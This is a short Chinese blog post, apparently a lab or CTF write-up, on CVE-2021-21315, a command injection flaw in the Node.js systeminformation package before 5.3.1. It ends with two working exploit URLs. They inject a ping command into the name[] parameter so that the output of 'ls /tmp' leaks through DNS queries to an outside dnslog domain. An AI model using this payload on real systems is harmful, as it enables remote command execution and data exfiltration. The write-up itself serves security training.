靶场环境CVE-2021-21315解题

发表于2022-04-17更新于2022-04-30

名称:

在线靶场环境解题node.js 命令执行 （CVE-2021-21315）

描述:

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块，它包含多种轻量级功能，可以检索详细的硬件和系统相关信息

npm团队发布安全公告，Node.js库中的systeminformation软件包中存在一个命令注入漏洞（CVE-2021-21315），其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

影响版本：

Systeminformation < 5.3.1

靶场解题：flag

1,dnslog获取flag

1
2
3
4
http://IP:PORT/api/getServices?name[]=$(ping `ls /tmp`.190644d1.dns.1433.eu.org.)
或：
http://IP:PORT/api/getServices?name[]=$(ping%20`ls%20/tmp`.190644d1.dns.1433.eu.org.)